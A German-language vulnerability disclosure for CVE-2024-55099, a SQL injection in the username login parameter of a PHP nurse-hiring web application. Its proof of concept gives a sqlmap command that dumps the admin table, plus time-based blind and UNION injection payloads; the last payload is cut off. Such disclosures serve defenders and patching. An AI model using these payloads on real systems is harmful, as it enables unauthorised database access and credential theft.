CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability

• Exploit Author: ugurkarakoc

Hersteller-Webseite

• https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql

Software-Link

• https://phpgurukul.com/?sdm_process_download=1&download_id=17826

Übersicht

• Online-Nurse-Hiring-System-v1.0 weist eine unzureichende Eingabevalidierung und -bereinigung des Parameters 'username' auf, was eine Schwachstelle für SQL-Injection-Angriffe erzeugen kann, die unbefugten Zugriff auf die Datenbank ermöglicht und die Systemsicherheit gefährdet.

Schwachstellendetails

• CVE ID: CVE-2024-55099
• Betroffene Version: Online-Nurse-Hiring-System-v1.0
• Verwundbare Datei: /admin/index.php.
• Parameternamen: username
• Angriffstyp: Lokal

Referenzen:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-55099
• https://nvd.nist.gov/vuln/detail/CVE-2024-55099

Beschreibung

• Das Fehlen einer ordnungsgemäßen Eingabevalidierung und -bereinigung des Parameters 'username' ermöglicht es einem Angreifer, SQL-Injection-Abfragen zu erstellen, Authentifizierungsmechanismen zu umgehen und unbefugten Zugriff auf die Datenbank zu erlangen.

Proof of Concept (PoC):

• sqlmap -r r.txt -dbs --level 5 --risk 3 --batch -D onhsdb -T tbladmin --columns --dump

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 3898 FROM (SELECT(SLEEP(5)))CrDy) AND 'rbGV'='rbGV&inputpwd=test&login=

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=-6075' UNION ALL SELECT 68,CONCAT(0x7176706a71,0x7168445671545a434e
---